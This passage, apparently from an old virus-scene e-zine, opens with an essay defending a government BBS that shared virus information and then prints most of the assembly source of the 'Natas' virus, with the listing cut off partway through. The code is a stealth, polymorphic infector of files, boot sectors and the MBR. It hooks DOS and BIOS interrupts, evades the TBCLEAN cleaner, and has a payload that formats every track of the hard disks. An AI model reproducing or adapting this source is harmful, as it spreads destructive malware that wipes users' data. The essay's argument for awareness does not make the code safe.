  2361. next question...
  2362.  
  2363. "Why did hackers willingly give away their 'secrets' to the people who
  2364. have always been viewed as the enemy?"
  2365.  
  2366.     The main reason the hackers on AIS BBS contributed to the system was
  2367. the friendly environment for them on AIS BBS.  An important fact about
  2368. almost all hackers is that for the most part they are just like every
  2369. other person out there.  They aren't evil computer geniuses trying to
  2370. destroy everyone's vital information.  When logging into AIS BBS, a
  2371. hacker was not assaulted by rude messages, was not refered to as
  2372. a criminal, but was instead greeted as a fellow computer enthusiast.  Of
  2373. course people wanted advice from hackers, who better to secure a
  2374. computer system then one who spends countless hours trying to penetrate
  2375. them.
  2376.  
  2377. "Are there, or have there ever been other systems like this?"
  2378.  
  2379.     There have been several attempts to achieve a BBS that bridged the
  2380. gap between hackers and computer security professionals.  The first one
  2381. I had ever heard of was called Face to Face.  I am not too sure on the
  2382. success of this BBS, I only know that it wasn't that great.  On my BBS,
  2383. Landfill, I also attempted to allow the security folks to interact with
  2384. computer hackers and virus writers, with a message base called 'Security
  2385. and the Security Impaired'.  This forum allowed both sides to speak
  2386. their mind about a variety of issues, including Van Eck devices (TEMPEST),
  2387. suggestions for the improvement of currently insecure systems, and in
  2388. one example, virus writers helped one system administrator with a
  2389. rampant case of the Maltese Amoeba virus by displaying all of the
  2390. pertinent information and characteristics of the virus.  Another system
  2391. called Unphamiliar Territories also has a message base with similiar
  2392. information that is still up and running today with a substantial amount
  2393. of success!
  2394.  
  2395. "Who protects us if our protectors are aiding the enemy?"
  2396.  
  2397.     The Bureau of Public Debt has little to do with protecting our
  2398. country, and in regards to viruses, there is no agency who can protect
  2399. you from viruses.  There is however a way you can protect yourselves.
  2400. It is through awareness that you can protect your data from the damages
  2401. incurred by malicious intent.  The same awareness that the Bureau of
  2402. Public Debt was trying to make publicly available on AIS BBS.  Before
  2403. the government did it, everyone else had already done it.  This fact may
  2404. alarm some people, but I would estimate that there are well over 200
  2405. other systems in the United States alone that currently distribute virus
  2406. code to people who very well could end up distributing it to other
  2407. people without their consent.  I am a tax paying citizen of the USA, and
  2408. I know I would rather hear that we spend a couple hundred dollars
  2409. educating the public on computer viruses then hear about the thousands
  2410. of dollars in damage done by miscellaneous computer viruses that hit
  2411. companies and wipe out all their data.  By closing down AIS BBS, the
  2412. door for virus writers to obtain virus source remains wide open, while
  2413. the people who could find the information valuable, if not necessary for
  2414. their jobs, just had the only door open to them slammed shut and locked,
  2415. maybe forever.  It is hard to tell who hurts us more - Those who make it
  2416. harder for computer users to protect themselves, or those who sit in
  2417. blind ignorance.
  2418.  
  2419.                                 -> GHeap
  2420. ;Natas Virus
  2421. ;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
  2422. ;Tunnels
  2423. ;Does other stuff
  2424. ;2 files -- v1eng.asm = virus  eng.asm = Engine
  2425.  
  2426.  
  2427. ----------------<<v1eng.asm>>--------------------------------------------------
  2428.  
  2429. .model  tiny
  2430. .code
  2431.  
  2432. file_size       equ     file_end - v_start
  2433. sect_size       equ     (decrypt - v_start + 511) / 512
  2434. para_size       equ     (v_end - v_start + 15) / 16
  2435. kilo_size       equ     (v_end - v_start + 1023) / 1024
  2436.  
  2437. find_dos_13     equ     tracer_dos_13 - (trace_mode + 1)
  2438. find_13         equ     tracer_13 - (trace_mode + 1)
  2439. find_15         equ     tracer_15 - (trace_mode + 1)
  2440. find_21         equ     tracer_21 - (trace_mode + 1)
  2441. find_40         equ     tracer_40 - (trace_mode + 1)
  2442. step_21         equ     tracer_step_21 - (trace_mode + 1)
  2443.  
  2444. loader_size     equ     loader_end - loader
  2445.  
  2446. no_hook_21      equ     new_13_next - (hook_21 + 1)
  2447. yes_hook_21     equ     check_21 - (hook_21 + 1)
  2448.  
  2449. boot            equ     0
  2450. file            equ     1
  2451.  
  2452. years           equ     100 shl 1
  2453.  
  2454.  
  2455. v_start:        jmp     decrypt
  2456.                 
  2457.                 ; push    cs
  2458.                 ; pop     ds
  2459.                 ; call    copy_ints
  2460.                 dw      copy_ints - ($ + 2)     ; save ints 13 15 21 40
  2461.                 mov     ds:hook_21,al           ; (0=yes_hook_21) hook 21h
  2462.                 mov     ds:origin,al            ; (0=boot) remeber host
  2463.                 mov     es,ax                   ; ES=0
  2464.                 pop     di
  2465.                 sub     di,3                    ; address of loader in boot
  2466.                 push    ax di                   ; save return address 0:xxxx
  2467.                 mov     si,offset boot_code
  2468.                 call    move_boot_code1         ; copy and decode boot code
  2469.                 mov     al,13h
  2470.                 mov     dx,offset new_13
  2471.                 call    set_int                 ; hook int 13h
  2472.                 call    inf_hard                ; infect drive C:
  2473.                 test    byte ptr ds:load_head,dl ; DL=80h drive C:?
  2474.                 je      boot_retf
  2475.                 mov     ax,1ffh
  2476.                 call    random                  ; time to activate?
  2477.                 jne     boot_retf
  2478.                 jmp     kill_disk
  2479.  
  2480. boot_retf:      retf                            ; return to boot sector
  2481.                 
  2482. ;=====( Copy boot code and (en/de)crypt it )=================================;
  2483.  
  2484. move_boot_code1:mov     ah,ds:[si - 1]          ; get key
  2485. move_boot_code: mov     cx,loader_size
  2486.                 cld
  2487. move_boot_loop: lodsb
  2488.                 xor     al,ah                   ; code/decode
  2489.                 rol     ah,1
  2490.                 stosb
  2491.                 loop    move_boot_loop
  2492.                 retn
  2493.                 
  2494. ;=====( Code that was in boot sector before infection )======================;
  2495.  
  2496. boot_code_key   db      ?
  2497. boot_code:      db      loader_size dup(?)
  2498.  
  2499. ;=====( Gets inserted into infected Boot sectors/MBRs )======================;
  2500.  
  2501. loader:         call    $ + 3
  2502.                 mov     di,40h
  2503.                 mov     ds,di
  2504.                 sub     word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
  2505.                 mov     ax,ds:[di-(40h-13h)]
  2506.                 mov     cl,0ah
  2507.                 ror     ax,cl                   ; get TOM address
  2508.                 mov     es,ax
  2509.                 mov     ax,200h + sect_size
  2510.                 xor     bx,bx
  2511.                 mov     cx,0
  2512. load_sect       =       $ - 2
  2513.                 mov     dx,0
  2514. load_head       =       $ - 2
  2515.                 int     13h                     ; read code into memory
  2516.                 jb      load_fail
  2517.                 push    es bx                   ; address of high code
  2518.                 retf
  2519. load_fail:      int     18h
  2520. loader_end:
  2521.  
  2522. ;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
  2523.  
  2524. copy_ints:      push    ds
  2525.                 xor     ax,ax
  2526.                 mov     ds,ax                   ; segment 0
  2527.                 mov     si,13h * 4h
  2528.                 mov     di,offset int_13
  2529.                 push    si si
  2530.                 movsw
  2531.                 movsw                           ; int 13h to int_13
  2532.                 pop     si
  2533.                 movsw
  2534.                 movsw                           ; int 13h to dos_13
  2535.                 mov     si,15h * 4h
  2536.                 movsw
  2537.                 movsw                           ; int 15h to int_15
  2538.                 pop     si                      ; address of int 13h's IVT
  2539.                 cmp     byte ptr ds:[475h],al   ; any hard disks?
  2540.                 je      copy_int_40
  2541.                 mov     si,40h * 4h
  2542. copy_int_40:    movsw
  2543.                 movsw                           ; copy int 13h/40h to int_40
  2544.                 mov     si,21h * 4h
  2545.                 movsw
  2546.                 movsw                           ; int 21h to int_21
  2547.                 pop     ds
  2548.                 retn
  2549.  
  2550. ;=====( get interrupt address )==============================================;
  2551.  
  2552. get_int:        push    ax
  2553.                 xor     ah,ah
  2554.                 rol     ax,1
  2555.                 rol     ax,1
  2556.                 xchg    bx,ax
  2557.                 xor     ax,ax
  2558.                 mov     es,ax
  2559.                 les     bx,es:[bx]              ; get int address
  2560.                 pop     ax
  2561.                 retn
  2562.  
  2563. ;=====( Set interrupt address )==============================================;
  2564.  
  2565. set_int:        push    ax bx ds
  2566.                 xor     ah,ah
  2567.                 rol     ax,1
  2568.                 rol     ax,1
  2569.                 xchg    ax,bx
  2570.                 xor     ax,ax
  2571.                 push    ds
  2572.                 mov     ds,ax
  2573.                 mov     ds:[bx],dx
  2574.                 pop     ds:[bx + 2]
  2575.                 pop     ds bx ax
  2576.                 retn
  2577.                 
  2578.  
  2579. push_all:       pop     cs:push_pop_ret
  2580.                 pushf
  2581.                 push    ax bx cx dx bp si di ds es
  2582.                 mov     bp,sp
  2583. push_pop_jmp:   jmp     cs:push_pop_ret
  2584.  
  2585. pop_all:        pop     cs:push_pop_ret
  2586.                 pop     es ds di si bp dx cx bx ax
  2587.                 popf
  2588.                 jmp     push_pop_jmp
  2589.  
  2590. ;=====( Infect Drive C: )====================================================;
  2591.  
  2592. inf_hard:       push    cs cs
  2593.                 pop     es ds
  2594.                 mov     ax,201h
  2595.                 mov     bx,offset disk_buff
  2596.                 mov     cx,1
  2597.                 mov     dx,80h
  2598.                 call    call_13                 ; read MBR of drive C:
  2599.                 jb      cant_inf_hard
  2600.                 cmp     ds:[bx.pt_start_head],ch ; Jackal?
  2601.                 je      cant_inf_hard
  2602.                 mov     cx,ds:[bx.pt_end_sector_track]
  2603.                 and     cx,0000000000111111b    ; get sector count
  2604.                 sub     cx,sect_size
  2605.                 jbe     cant_inf_hard
  2606.                 cmp     cl,1                    ; too few sectors?
  2607.                 jbe     cant_inf_hard
  2608.                 call    copy_loader             ; copy loader into MBR
  2609.                 jb      cant_inf_hard
  2610.                 push    bx
  2611.                 mov     ax,300h + sect_size
  2612.                 xor     bx,bx
  2613.                 call    call_13                 ; write code to hidden sectors
  2614.                 pop     bx
  2615.                 jb      cant_inf_hard
  2616.                 mov     ax,301h
  2617.                 mov     cl,1
  2618.                 call    call_13                 ; write infected MBR
  2619. cant_inf_hard:  retn   
  2620.  
  2621. ;=====( Copy Loader into disk_buff (BX) )====================================;
  2622.  
  2623. copy_loader:    push    cx dx
  2624.                 cmp     word ptr ds:[bx+1feh],0aa55h    ; valid boot code?
  2625.                 jne     copy_load_no
  2626.                 mov     di,offset boot_code
  2627.                 mov     ds:[di+load_sect-boot_code],cx  ; save track/sector
  2628.                 and     dl,80h                          ; Drive C: or A:
  2629.                 mov     ds:[di+load_head-boot_code],dx  ; save head/disk
  2630.                 call    find_boot               ; find code/already infected?
  2631.                 je      copy_load_no
  2632.                 call    random_1                ; get random key
  2633.                 mov     ds:[di - 1],ah          ; save key at boot_code_key
  2634.                 push    si
  2635.                 call    move_boot_code          ; save boot code and encrypt
  2636.                 mov     si,di                   ; offset of loader
  2637.                 pop     di                      ; boot code pointer
  2638.                 mov     cx,loader_size
  2639.                 rep     movsb                   ; copy loader into boot sect
  2640.                 clc
  2641.                 mov     al,0
  2642.                 org     $ - 1
  2643. copy_load_no:   stc
  2644.                 pop     dx cx
  2645.                 retn   
  2646.                 
  2647. ;=====( Find start of boot sector's code )===================================;
  2648.  
  2649. find_boot:      mov     si,bx
  2650.                 cld
  2651.                 lodsb                           ; get 1st instruction
  2652.                 push    ax
  2653.                 lodsw                           ; Jump displacement (if jump)
  2654.                 xchg    cx,ax
  2655.                 pop     ax
  2656.                 cmp     al,0ebh                 ; Short jump?
  2657.                 jne     find_boot_jump
  2658.                 xor     ch,ch                   ; 8bit jump
  2659.                 dec     si
  2660.                 jmp     find_boot_add
  2661. find_boot_jump: cmp     al,0e9h                 ; Near Jump?
  2662.                 je      find_boot_add
  2663. find_boot_noadd:xor     cx,cx                   ; No displacement
  2664.                 mov     si,bx
  2665. find_boot_add:  add     si,cx                   ; si=start of boot code
  2666.                 cmp     si,offset (disk_buff+200h) - (loader_size + 5) 
  2667.                                                 ; jump out of range?
  2668.                 jnb     find_boot_noadd
  2669.                 cmp     word ptr ds:[si],00e8h  ; CALL -> already infected
  2670.                 jne     find_boot_ret
  2671.                 cmp     word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
  2672. find_boot_ret:  retn
  2673.  
  2674. ;=====( Disable TBCLEAN )====================================================;
  2675.  
  2676. anti_tbclean:   xor     ax,ax
  2677.                 pushf
  2678.                 pop     dx
  2679.                 and     dh,not 1                ; TF off
  2680.                 push    dx dx
  2681.                 popf
  2682.                 push    ss
  2683.                 pop     ss
  2684.                 pushf                           ; Not trapped
  2685.                 pop     dx
  2686.                 test    dh,1                    ; TF set?
  2687.                 pop     dx
  2688.                 je      anti_tb_ret
  2689.                 push    es
  2690.                 xor     bp,bp
  2691.                 mov     cx,ss
  2692.                 cli
  2693.                 mov     ss,bp                   ; segment 0
  2694.                 les     di,ss:[bp+1h*4h]        ; address of int 1h
  2695.                 mov     ss,cx
  2696.                 sti
  2697.                 mov     al,0cfh
  2698.                 cld
  2699.                 stosb                           ; IRET -> Int 1h
  2700.                 pop     es
  2701.                 push    dx
  2702.                 popf
  2703. anti_tb_ret:    xchg    bp,ax                   ; save result
  2704.                 retn
  2705.  
  2706. ;=====( Swap jump into DOS' int 13h )========================================;
  2707.  
  2708. swap_13:        call    push_all
  2709.                 mov     si,offset jump_code_13
  2710.                 les     di,cs:[si+dos_13-jump_code_13]  ; get address in DOS
  2711.                 jmp     swap_code
  2712.  
  2713. ;=====( Swap jump into DOS' int 21h )========================================;
  2714.  
  2715. swap_21:        call    push_all
  2716.                 mov     si,offset jump_code_21
  2717.                 les     di,cs:[si+int_21-jump_code_21]
  2718. swap_code:      push    cs
  2719.                 pop     ds
  2720.                 mov     cx,5
  2721.                 cmp     ds:origin,ch            ; 0 -> Boot origin, no tunnel
  2722.                 je      swap_end
  2723.                 cld
  2724. swap_loop:      lodsb
  2725.                 xchg    al,es:[di]
  2726.                 mov     ds:[si-1],al
  2727.                 inc     di
  2728.                 loop    swap_loop
  2729. swap_end:       call    pop_all
  2730.                 retn
  2731.  
  2732. ;=====( Find original interrupt entry points )===============================;
  2733.  
  2734. find_ints:      call    copy_ints               ; get interrupt addresses
  2735.                 mov     ah,52h
  2736.                 int     21h
  2737.                 mov     ax,es:[bx-2]
  2738.                 mov     ds:dos_seg,ax           ; 1st MCB segment
  2739.                 mov     al,1h
  2740.                 call    get_int                 ; get address of int 1h
  2741.                 push    bx es
  2742.                 mov     dx,offset tracer
  2743.                 call    set_int                 ; hook int 1h
  2744.                 pushf
  2745.                 pop     si
  2746.                 mov     di,offset trace_mode
  2747.                 mov     byte ptr ds:[di],find_dos_13  ; find int 13h in DOS
  2748.                                                       ; and BIOS
  2749.                 mov     ah,1h
  2750.                 call    si_tf                   ; set TF
  2751.                 call    call_13
  2752.                 mov     byte ptr ds:[di],find_15 ; find int 15h in BIOS
  2753.                 mov     ah,0c0h
  2754.                 call    si_tf                   ; set TF
  2755.                 pushf
  2756.                 call    ds:int_15   
  2757.                 mov     byte ptr ds:[di],find_21 ; find int 21h in DOS
  2758.                 mov     ah,30h
  2759.                 call    si_tf                   ; set TF
  2760.                 call    call_21
  2761.                 mov     byte ptr ds:[di],find_40 ; find int 40h in BIOS
  2762.                 mov     ah,1
  2763.                 call    si_tf                   ; set TF
  2764.                 call    call_40
  2765.                 and     si,not 100h
  2766.                 push    si
  2767.                 popf                            ; disable Trapping
  2768.                 pop     ds dx
  2769.                 mov     al,1
  2770.                 call    set_int                 ; unhook int 1h
  2771.                 retn
  2772.  
  2773. ;=====( Set TF in SI, then set flags to SI )=================================;
  2774.  
  2775. si_tf:          or      si,100h
  2776.                 push    si
  2777.                 popf
  2778.                 retn
  2779.  
  2780. ;=====( Tracing/Tunneling )==================================================;
  2781.  
  2782. tracer:         push    ds
  2783.                 push    cs
  2784.                 pop     ds
  2785.                 mov     ds:old_di,di
  2786.                 mov     di,offset old_ax
  2787.                 mov     ds:[di],ax
  2788.                 mov     ds:[di+old_bx-old_ax],bx
  2789.                 mov     ds:[di+old_cx-old_ax],cx
  2790.                 mov     ds:[di+old_dx-old_ax],dx
  2791.                 pop     ds:[di-(old_ax-old_ds)]
  2792.                 pop     bx cx dx                ; get IP, CS and Flags
  2793.                 mov     ax,cs
  2794.                 cmp     ax,cx                   ; In our CS?
  2795.                 jne     $
  2796. trace_mode      =       byte ptr $ - 1
  2797.                 jmp     tracer_iret
  2798.  
  2799. tracer_dos_13:  cmp     cx,ds:dos_seg           ; in DOS code?
  2800.                 jnb     tracer_cont
  2801.                 mov     di,offset dos_13
  2802.                 mov     ds:trace_mode,find_13   ; find it in BIOS next
  2803.                 jmp     tracer_save_f
  2804.  
  2805. tracer_21:      cmp     cx,1234h                ; In DOS code?
  2806. dos_seg         =       word ptr $ - 2
  2807.                 jnb     tracer_cont
  2808.                 mov     di,offset int_21
  2809. tracer_save:    and     dh,not 1                ; TF off
  2810. tracer_save_f:  mov     ds:[di],bx
  2811.                 mov     ds:[di + 2],cx          ; save address of int
  2812.                 jmp     tracer_cont
  2813.  
  2814. tracer_15:      mov     di,offset int_15
  2815.                 jmp     tracer_bios
  2816.  
  2817. tracer_40:      mov     di,offset int_40
  2818.                 jmp     tracer_bios
  2819.                 
  2820. tracer_13:      mov     di,offset int_13
  2821. tracer_bios:    cmp     ch,0c8h                 ; Below BIOS?
  2822.                 jb      tracer_cont
  2823.                 cmp     ch,0f4h                 ; Above BIOS?
  2824.                 jb      tracer_save
  2825.                 jmp     tracer_cont
  2826.  
  2827. tracer_step_21: dec     ds:inst_count           ; down counter
  2828.                 jne     tracer_cont
  2829.                 push    dx
  2830.                 mov     al,1
  2831.                 lds     dx,ds:int_1             ; get int 1h address
  2832.                 call    set_int
  2833.                 call    swap_21                 ; insert int 21h jump
  2834.                 pop     dx
  2835.                 and     dh,not 1h               ; TF off
  2836.  
  2837. tracer_cont:    test    dh,1                    ; TF on?
  2838.                 je      tracer_iret
  2839. get_inst:       mov     ds,cx                   ; instruction CS
  2840.                 xor     di,di
  2841. get_inst1:      mov     ax,ds:[bx + di]         ; get instruction
  2842.                 cmp     al,0f0h                 ; LOCK
  2843.                 je      skip_prefix
  2844.                 cmp     al,0f2h                 ; REPNE
  2845.                 je      skip_prefix
  2846.                 cmp     al,0f3h                 ; REPE?
  2847.                 je      skip_prefix
  2848.                 cmp     al,9ch                  ; PUSHF or above?
  2849.                 jae     emulate_pushf
  2850.                 and     al,11100111b            ; 26,2e,36,3e = 26
  2851.                 cmp     al,26h                  ; Segment Prefix?
  2852.                 jne     tracer_iret
  2853. skip_prefix:    inc     di
  2854.                 jmp     get_inst1
  2855.  
  2856. emulate_pushf:  jne     emulate_popf
  2857.                 and     dh,not 1                ; TF off
  2858.                 push    dx                      ; fake PUSHF
  2859. emulate_next:   lea     bx,ds:[bx + di + 1]     ; skip instruction
  2860. emulate_tf:     or      dh,1                    ; TF on
  2861.                 jmp     get_inst
  2862.  
  2863. emulate_popf:   cmp     al,9dh                  ; POPF?
  2864.                 jne     emulate_iret
  2865.                 pop     dx                      ; fake POPF
  2866.                 jmp     emulate_next
  2867.  
  2868. emulate_iret:   cmp     al,0cfh                 ; IRET?
  2869.                 jne     emulate_int
  2870.                 pop     bx cx dx                ; fake IRET
  2871.                 jmp     emulate_tf
  2872.  
  2873. emulate_int:    cmp     al,0cdh                 ; Int xx
  2874.                 je      emulate_int_xx
  2875.                 cmp     al,0cch                 ; Int 3?
  2876.                 mov     ah,3
  2877.                 je      emulate_int_x
  2878.                 cmp     al,0ceh                 ; Into?
  2879.                 mov     ah,4
  2880.                 jne     tracer_iret
  2881.                 test    dh,8                    ; OF set?
  2882.                 je      tracer_iret
  2883. emulate_int_x:  dec     bx                      ; [bx+di+2-1]
  2884. emulate_int_xx: and     dh,not 1                ; TF off
  2885.                 lea     bx,ds:[bx + di + 2]     ; get return address
  2886.                 push    dx cx bx                ; fake Int
  2887.                 mov     al,ah                
  2888.                 push    es
  2889.                 call    get_int                 ; get interrupt address
  2890.                 mov     cx,es
  2891.                 pop     es
  2892.                 jmp     emulate_tf
  2893.  
  2894. tracer_iret:    push    dx cx bx                ; save flags, cs & ip
  2895.                 mov     ax,0
  2896. old_ds          =       word ptr $ - 2
  2897.                 mov     ds,ax
  2898.                 mov     ax,0
  2899. old_ax          =       word ptr $ - 2
  2900.                 mov     bx,0
  2901. old_bx          =       word ptr $ - 2
  2902.                 mov     cx,0
  2903. old_cx          =       word ptr $ - 2
  2904.                 mov     dx,0
  2905. old_dx          =       word ptr $ - 2
  2906.                 mov     di,0
  2907. old_di          =       word ptr $ - 2
  2908.                 iret
  2909.  
  2910. ;=====( file infections come here after decryption )=========================;
  2911.  
  2912. file_start:     push    ds                      ; save PSP segment
  2913.                 call    $ + 3
  2914.                 pop     si
  2915.                 sub     si,offset $ - 1
  2916.                 call    anti_tbclean            ; disable TBCLEAN
  2917.                 or      bp,bp                   ; TBCLEAN active?
  2918.                 jne     go_res
  2919.                 mov     ah,30h
  2920.                 mov     bx,-666h
  2921.                 int     21h
  2922.                 cmp     al,3h                   ; must be DOS 3+
  2923.                 jb      jump_host
  2924. go_res:         mov     ax,es
  2925.                 dec     ax
  2926.                 mov     ds,ax
  2927.                 xor     di,di
  2928.                 or      bp,bp                   ; TBCLEAN here?
  2929.                 jne     dont_check_mcb
  2930.                 cmp     byte ptr ds:[di],'Z'    ; Last Block?
  2931.                 jne     jump_host
  2932. dont_check_mcb: mov     ax,para_size
  2933.                 sub     ds:[di + 3],ax          ; from MCB
  2934.                 sub     ds:[di + 12h],ax        ; from PSP
  2935.                 mov     es,ds:[di + 12h]        ; get memory address
  2936.                 mov     ds,di
  2937.                 sub     word ptr ds:[413h],kilo_size ; from int 12h
  2938.                 mov     cx,jump_code_13-v_start
  2939.                 cld
  2940.                 rep     movs byte ptr es:[di],byte ptr cs:[si]  
  2941.                 mov     ax,offset high_code
  2942.                 push    es ax
  2943.                 retf
  2944.  
  2945. jump_host:      push    cs
  2946.                 pop     ds
  2947.                 pop     es                      ; PSP segment
  2948.                 lea     si,ds:[si + header]     ; get address of header
  2949.                 mov     ax,ds:[si]              ; get 1st instruction
  2950.                 cmp     ax,'ZM'                 ; EXE?
  2951.                 je      jump_2_exe
  2952.                 cmp     ax,'MZ'                 ; EXE?
  2953.                 je      jump_2_exe
  2954.                 mov     cx,18h / 2
  2955.                 mov     di,100h
  2956.                 push    es di
  2957.                 cld
  2958.                 rep     movsw                   ; repair .COM file
  2959.                 push    es
  2960.                 pop     ds
  2961.                 xchg    ax,cx
  2962.                 retf
  2963.                 
  2964. jump_2_exe:     mov     ax,es
  2965.                 add     ax,10h
  2966.                 add     ds:[si.eh_cs],ax
  2967.                 add     ax,ds:[si.eh_ss]        ; get SS/CS
  2968.                 push    es
  2969.                 pop     ds
  2970.                 cli
  2971.                 mov     ss,ax
  2972.                 mov     sp,cs:[si.eh_sp]
  2973.                 xor     ax,ax
  2974.                 sti
  2975.                 jmp     dword ptr cs:[si.eh_ip]
  2976.  
  2977.  
  2978. high_code:      push    cs
  2979.                 pop     ds
  2980.                 mov     byte ptr ds:[di+origin-jump_code_13],file ; tunnel      
  2981.                 mov     ax,2
  2982.                 call    random                  ; 1 in 3 chance of no stealth
  2983.                                                 ; on special programs
  2984.                 mov     ds:check_special,al
  2985.                 mov     ds:hook_21,no_hook_21   ; dont hook int 21h
  2986.                 mov     al,0eah
  2987.                 stosb                           ; store at jump_code_13
  2988.                 mov     ds:[di+4],al
  2989.                 mov     ax,offset new_13
  2990.                 stosw
  2991.                 mov     word ptr ds:[di+3],offset new_21
  2992.                 mov     ds:[di],cs
  2993.                 mov     ds:[di+5],cs
  2994.                 push    di
  2995.                 call    find_ints               ; trace interrupts
  2996.                 pop     di
  2997.                 push    cs
  2998.                 pop     ds
  2999.                 mov     ax,ds:dos_seg
  3000.                 cmp     word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax 
  3001.                                                 ; found DOS' int 13h?
  3002.                 ja      call_inf_hard
  3003.                 cmp     word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax            
  3004.                                                 ; found DOS' int 21h?
  3005.                 ja      call_inf_hard
  3006.                 call    swap_13
  3007.                 call    swap_21                 ; insert jumps into DOS
  3008. call_inf_hard:  call    inf_hard                ; infect drive C:
  3009.                 or      bp,bp                   ; ZF -> No TBCLEAN
  3010.                 mov     si,bp                   ; SI=0 if goto jump_host
  3011.                 jne     kill_disk
  3012.                 jmp     jump_host
  3013.  
  3014. kill_disk:      xor     bx,bx
  3015.                 mov     es,bx                   ; table to use for format
  3016.                 mov     dl,80h                  ; Drive C:
  3017. kill_next_disk: xor     dh,dh                   ; head 0
  3018. kill_next_track:xor     cx,cx                   ; track 0             
  3019. kill_format:    mov     ax,501h
  3020.                 call    call_disk               ; format track
  3021.                 and     cl,11000000b
  3022.                 inc     ch                      ; next track low
  3023.                 jne     kill_format
  3024.                 add     cl,40h                  ; next track high
  3025.                 jne     kill_format
  3026.                 xor     ah,ah
  3027.                 int     13h                     ; reset disk
  3028.                 inc     dh                      ; next head
  3029.                 cmp     dh,10h
  3030.                 jb      kill_next_track
  3031.                 inc     dx                      ; next drive
  3032.                 jmp     kill_next_disk
  3033.  
  3034. ;=====( Interrupt 13h handler )==============================================;
  3035.  
  3036. new_13:         jmp     $
  3037. hook_21         =       byte ptr $ - 1
  3038.  
  3039. check_21:       call    push_all
  3040.                 mov     al,21h
  3041.                 call    get_int                 ; get int 21h address
  3042.                 mov     ax,es
  3043.                 push    cs cs
  3044.                 pop     ds es
  3045.                 cmp     ax,800h                 ; too high?
  3046.                 ja      cant_hook_21
  3047.                 mov     di,offset int_21 + 2
  3048.                 std
  3049.                 xchg    ax,ds:[di]              ; swap addresses
  3050.                 scasw                           ; did it change?
  3051.                 je      cant_hook_21
  3052.                 mov     ds:[di],bx
  3053.                 mov     al,21h
  3054.                 mov     dx,offset new_21
  3055.                 call    set_int                 ; hook int 21h
  3056.                 mov     ds:hook_21,no_hook_21
  3057. cant_hook_21:   call    pop_all
  3058.  
  3059. new_13_next:    cmp     ah,2h                   ; Read?
  3060.                 jne     jump_13
  3061.                 cmp     cx,1                    ; track 0, sector 1?
  3062.                 jne     jump_13
  3063.                 or      dh,dh                   ; head 0?
  3064.                 je      hide_boot
  3065. jump_13:        call    call_dos_13
  3066.                 retf    2h
  3067.  
  3068.  
  3069. hide_boot:      call    call_dos_13             ; read boot sector
  3070.                 call    push_all
  3071.                 jb      hide_boot_err
  3072.                 push    es cs
  3073.                 pop     es ds
  3074.                 mov     cx,100h
  3075.                 mov     si,bx
  3076.                 mov     di,offset disk_buff
  3077.                 mov     bx,di
  3078.                 cld
  3079.                 rep     movsw                   ; copy boot sector to buffer
  3080.                 push    cs
  3081.                 pop     ds
  3082.                 call    find_boot               ; find start/already infected?
  3083.                 jne     inf_boot
  3084.                 mov     ax,201h
  3085.                 mov     cx,ds:[si+load_sect-loader]
  3086.                 mov     dh,byte ptr ds:[si+(load_head+1)-loader]
  3087.                                                 ; get code location
  3088.                 call    call_disk               ; read virus code
  3089.                 jb      hide_boot_err
  3090.                 mov     ax,ds:[0]
  3091.                 cmp     ds:[bx],ax              ; verify infection
  3092.                 jne     hide_boot_err
  3093.                 mov     di,ss:[bp.reg_bx]
  3094.                 mov     es,ss:[bp.reg_es]       ; get caller's buffer
  3095.                 sub     si,bx                   ; displacement into boot sect.
  3096.                 add     di,si                   ; address of loader
  3097.                 lea     si,ds:[bx+(boot_code-v_start)] ; boot code in virus
  3098.                 call    move_boot_code1         ; hide infection
  3099. hide_boot_err:  call    pop_all
  3100.                 retf    2h
  3101.  
  3102. inf_boot:       cmp     dl,80h                  ; hard disk?
  3103.                 jnb     hide_boot_err
  3104.                 mov     ax,301h
  3105.                 mov     cx,1
  3106.                 call    call_disk               ; Write boot sector to disk
  3107.                                                 ; CY -> Write-Protected
  3108.                 jb      hide_boot_err
  3109.                 mov     si,dx                   ; save drive #
  3110.                 mov     di,bx
  3111.                 mov     ax,ds:[di.bs_sectors]   ; get number of sectors
  3112.                 mov     cx,ds:[di.bs_sectors_per_track]
  3113.                 sub     ds:[di.bs_sectors],cx   ; prevent overwriting of code
  3114.                 mov     ds:hide_count,cx
  3115.                 xor     dx,dx
  3116.                 or      ax,ax                   ; error?
  3117.                 je      hide_boot_err
  3118.                 jcxz    hide_boot_err
  3119.                 div     cx
  3120.                 or      dx,dx                   ; even division?
  3121.                 jne     hide_boot_err
  3122.                 mov     bx,ds:[di.bs_heads]     ; get number of heads
  3123.                 or      bx,bx
  3124.                 je      hide_boot_err
  3125.                 div     bx
  3126.                 or      dx,dx
  3127.                 jne     hide_boot_err
  3128.                 dec     ax
  3129.                 mov     ch,al                   ; last track
  3130.                 mov     cl,1                    ; sector 1
  3131.                 dec     bx
  3132.                 mov     dx,si                   ; drive
  3133.                 mov     dh,bl                   ; last head
  3134.                 mov     bx,di                   ; offset disk buffer
  3135.                 call    copy_loader             ; Copy loader into Boot sector
  3136.                 jb      hide_boot_err
  3137.                 mov     ax,300h + sect_size
  3138.                 xor     bx,bx
  3139.                 call    call_disk
  3140.                 jb      hide_boot_err
  3141.                 mov     ax,301h
  3142.                 mov     bx,offset disk_buff
  3143.                 mov     cx,1
  3144.                 xor     dh,dh
  3145.                 call    call_disk               ; write boot sector to disk
  3146.                 mov     bx,ss:[bp.reg_bx]
  3147.                 mov     ds,ss:[bp.reg_es]       ; get caller's buffer
  3148.                 sub     ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
  3149. hide_count      =       word ptr $ - 2
  3150.                 jmp     hide_boot_err
  3151.  
  3152. ;=====( Interrupt 21h handler )==============================================;
  3153.  
  3154. new_21:         cli
  3155.                 mov     cs:int_21_ss,ss
  3156.                 mov     cs:int_21_sp,sp         ; save stack pointers
  3157.                 push    cs
  3158.                 pop     ss
  3159.                 mov     sp,offset temp_stack    ; allocate stack
  3160.                 sti
  3161.                 call    push_all
  3162.                 in      al,21h
  3163.                 or      al,2                    ; disable keyboard
  3164.                 out     21h,al
  3165.                 push    cs
  3166.                 pop     ds
  3167.                 mov     di,offset new_24
  3168.                 mov     word ptr ds:[di-(new_24-handle)],bx ; save handle
  3169.                 mov     al,24h
  3170.                 call    get_int                 ; get address of int 24h
  3171.                 mov     word ptr ds:[di-(new_24-int_24)],bx
